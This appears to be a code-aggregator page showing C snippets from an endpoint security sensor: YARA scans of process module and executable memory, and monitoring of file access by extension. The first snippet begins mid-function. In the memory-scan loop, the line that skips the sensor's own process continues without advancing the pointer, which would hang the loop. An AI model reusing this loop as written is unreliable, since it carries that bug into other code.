            strW = NULL;
            rSequence_free( event );

            timeout = _TIMEOUT_BETWEEN_FILE_SCANS;
        }
        else
        {
            timeout = 0;
        }
    }

    rpal_bloom_destroy( knownFiles );

    yr_finalize_thread();

    return NULL;
}
示例#28
0
static
RPVOID
    continuousMemScan
    (
        rEvent isTimeToStop,
        RPVOID ctx
    )
{
    processLibProcEntry* processes = NULL;
    processLibProcEntry* curProc = NULL;
    RU32 thisProcId = 0;
    YaraMatchContext matchContext = { 0 };
    RU32 scanError = 0;

    UNREFERENCED_PARAMETER( ctx );

    thisProcId = processLib_getCurrentPid();

    while( !rEvent_wait( isTimeToStop, 0 ) )
    {
        // Wait until we have global rules to look for.
        if( rMutex_lock( g_global_rules_mutex ) )
        {
            if( NULL == g_global_rules )
            {
                rMutex_unlock( g_global_rules_mutex );
                rEvent_wait( isTimeToStop, MSEC_FROM_SEC( 30 ) );
                continue;
            }
            rMutex_unlock( g_global_rules_mutex );
        }

        if( NULL != ( processes = processLib_getProcessEntries( TRUE ) ) )
        {
            curProc = processes;
            while( 0 != curProc->pid )
            {
                // We can't examine our own memory for the risk of tripping on the sigs themselves.
                if( curProc->pid == thisProcId ) continue;

                rpal_debug_info( "yara scanning pid %d", curProc->pid );

                matchContext.pid = curProc->pid;
                matchContext.processInfo = NULL;
                matchContext.moduleInfo = NULL;

                scanError = _scanProcessWith( curProc->pid, &matchContext, NULL, isTimeToStop );

                rSequence_free( matchContext.processInfo );

                if( rEvent_wait( isTimeToStop, MSEC_FROM_SEC( 30 ) ) ) { break; }

                curProc++;
            }

            rpal_memory_free( processes );
        }
    }

    yr_finalize_thread();

    return NULL;
}
示例#29
0
static
RU32
    _scanProcessWith
    (
        RU32 pid,
        YaraMatchContext* matchContext,
        YR_RULES* rules,
        rEvent isTimeToStop
    )
{
    RU32 scanError = (RU32)(-1);
    rList modules = NULL;
    rSequence module = NULL;
    _MemRange* memRanges = NULL;
    RU32 i = 0;
    rList memoryMap = NULL;
    rSequence memoryRegion = NULL;
    RU8 memAccess = 0;
    RU64 mem = 0;
    RU64 memSize = 0;
    RPU8 buffer = NULL;

    // First pass is to scan known modules
    if( NULL != ( modules = processLib_getProcessModules( pid ) ) )
    {
        rpal_debug_info( "scanning process %d module memory with yara", pid );

        // We also generate an optimized list of module ranges for later
        if( NULL != ( memRanges = rpal_memory_alloc( sizeof( _MemRange ) *
                                                     rList_getNumElements( modules ) ) ) )
        {
            while( ( NULL == isTimeToStop || !rEvent_wait( isTimeToStop, MSEC_FROM_SEC( 5 ) ) ) &&
                   rList_getSEQUENCE( modules, RP_TAGS_DLL, &module ) )
            {
                if( rSequence_getPOINTER64( module, RP_TAGS_BASE_ADDRESS, &mem ) &&
                    rSequence_getRU64( module, RP_TAGS_MEMORY_SIZE, &memSize ) )
                {
                    memRanges[ i ].base = mem;
                    memRanges[ i ].size = memSize;
                    i++;

                    matchContext->regionBase = mem;
                    matchContext->regionSize = memSize;
                    matchContext->moduleInfo = module;

                    if( processLib_getProcessMemory( pid,
                                                     (RPVOID)NUMBER_TO_PTR( mem ),
                                                     memSize,
                                                     (RPVOID*)&buffer,
                                                     TRUE ) )
                    {
                        rpal_debug_info( "yara scanning module region of size 0x%lx", memSize );

                        if( NULL != rules ||
                            rMutex_lock( g_global_rules_mutex ) )
                        {
                            if( ERROR_SUCCESS != ( scanError = yr_rules_scan_mem( NULL == rules ? g_global_rules : rules,
                                                                                  buffer,
                                                                                  (size_t)memSize,
                                                                                  SCAN_FLAGS_FAST_MODE |
                                                                                  SCAN_FLAGS_PROCESS_MEMORY,
                                                                                  _yaraMemMatchCallback,
                                                                                  matchContext,
                                                                                  60 ) ) )
                            {
                                rpal_debug_warning( "Yara module scan error: %d 0x%lx 0x%lx: %d",
                                                    pid,
                                                    mem,
                                                    memSize,
                                                    scanError );
                            }

                            if( NULL == rules )
                            {
                                rMutex_unlock( g_global_rules_mutex );
                            }
                        }

                        rpal_memory_free( buffer );

                        rpal_debug_info( "finished region" );
                    }
                }
            }
        }

        rList_free( modules );
    }

    // Optimize the memory ranges
    if( rpal_memory_isValid( memRanges ) &&
        !rpal_sort_array( memRanges, i, sizeof( _MemRange ), (rpal_ordering_func)rpal_order_RU64 ) )
    {
        rpal_memory_free( memRanges );
        memRanges = NULL;
    }

    // Second pass is to go through executable non-module areas
    if( NULL != ( memoryMap = processLib_getProcessMemoryMap( pid ) ) )
    {
        rpal_debug_info( "scanning process %d non-module memory with yara", pid );

        while( ( NULL == isTimeToStop || !rEvent_wait(isTimeToStop, MSEC_FROM_SEC( 5 ) ) ) &&
               rList_getSEQUENCE( memoryMap, RP_TAGS_MEMORY_REGION, &memoryRegion ) )
        {
            if( rSequence_getPOINTER64( memoryRegion, RP_TAGS_BASE_ADDRESS, &mem ) &&
                rSequence_getRU64( memoryRegion, RP_TAGS_MEMORY_SIZE, &memSize ) &&
                rSequence_getRU8( memoryRegion, RP_TAGS_MEMORY_ACCESS, &memAccess ) &&
                ( PROCESSLIB_MEM_ACCESS_EXECUTE == memAccess ||
                  PROCESSLIB_MEM_ACCESS_EXECUTE_READ == memAccess ||
                  PROCESSLIB_MEM_ACCESS_EXECUTE_READ_WRITE == memAccess ||
                  PROCESSLIB_MEM_ACCESS_EXECUTE_WRITE_COPY  == memAccess ) )
            {
                // If it's in a known module, skip
                if( (RU32)( -1 ) != rpal_binsearch_array_closest( memRanges,
                                                                  i,
                                                                  sizeof( _MemRange ),
                                                                  &mem,
                                                                  (rpal_ordering_func)rpal_order_RU64,
                                                                  TRUE ) )
                {
                    continue;
                }
                matchContext->regionBase = mem;
                matchContext->regionSize = memSize;
                matchContext->moduleInfo = NULL;

                if( processLib_getProcessMemory( pid,
                                                 (RPVOID)NUMBER_TO_PTR(mem),
                                                 memSize,
                                                 (RPVOID*)&buffer,
                                                 TRUE ) )
                {
                    rpal_debug_info( "yara scanning memory region of size 0x%lx", memSize );

                    if( NULL != rules ||
                        rMutex_lock( g_global_rules_mutex ) )
                    {
                        if( ERROR_SUCCESS != ( scanError = yr_rules_scan_mem( NULL == rules ? g_global_rules : rules,
                                                                              buffer,
                                                                              (size_t)memSize,
                                                                              SCAN_FLAGS_FAST_MODE |
                                                                              SCAN_FLAGS_PROCESS_MEMORY,
                                                                              _yaraMemMatchCallback,
                                                                              matchContext,
                                                                              60 ) ) )
                        {
                            rpal_debug_warning( "Yara memory scan error: %d 0x%lx 0x%lx: %d",
                                                pid,
                                                mem,
                                                memSize,
                                                scanError );
                        }

                        if( NULL == rules )
                        {
                            rMutex_unlock( g_global_rules_mutex );
                        }
                    }

                    rpal_memory_free( buffer );
                }
            }
        }

        rList_free( memoryMap );
    }

    if( rpal_memory_isValid( memRanges ) )
    {
        rpal_memory_free( memRanges );
    }

    return scanError;
}
static
RVOID
    processFileIo
    (
        rpcm_tag notifType,
        rSequence event
    )
{
    ProcExtInfo* ctx = NULL;
    RPNCHAR path = NULL;
    RPVOID patternCtx = 0;
    RU8 patternId = 0;
    RPU8 atomId = NULL;
    RU32 pid = 0;
    rSequence newEvent = NULL;

    UNREFERENCED_PARAMETER( notifType );

    if( rSequence_getSTRINGN( event, RP_TAGS_FILE_PATH, &path ) &&
        HbsGetParentAtom( event, &atomId ) &&
        rSequence_getRU32( event, RP_TAGS_PROCESS_ID, &pid ) )
    {
        if( rMutex_lock( g_mutex ) )
        {
            obsLib_resetSearchState( g_extensions );
            if( obsLib_setTargetBuffer( g_extensions,
                                        path,
                                        rpal_string_strsize( path ) ) )
            {
                while( obsLib_nextHit( g_extensions, &patternCtx, NULL ) )
                {
                    if( NULL != ctx ||
                        NULL != ( ctx = getProcContext( atomId ) ) )
                    {
                        patternId = (RU8)PTR_TO_NUMBER( patternCtx );

                        if( !IS_FLAG_ENABLED( ctx->extBitMask, (RU64)1 << patternId ) )
                        {
                            rpal_debug_info( "process " RF_U32 " observed file io " RF_U64, 
                                             pid, patternId + 1 );
                            ENABLE_FLAG( ctx->extBitMask, (RU64)1 << patternId );
                            
                            if( NULL != ( newEvent = rSequence_new() ) )
                            {
                                HbsSetParentAtom( newEvent, atomId );
                                rSequence_addRU32( newEvent, RP_TAGS_PROCESS_ID, pid );
                                rSequence_addRU8( newEvent, RP_TAGS_RULE_NAME, patternId + 1 );
                                rSequence_addSTRINGN( newEvent, RP_TAGS_FILE_PATH, ctx->processPath );

                                hbs_publish( RP_TAGS_NOTIFICATION_FILE_TYPE_ACCESSED, newEvent );
                                rSequence_free( newEvent );
                            }
                        }
                    }
                    else
                    {
                        rpal_debug_error( "error getting process context" );
                        break;
                    }
                }
            }

            rMutex_unlock( g_mutex );
        }
    }
}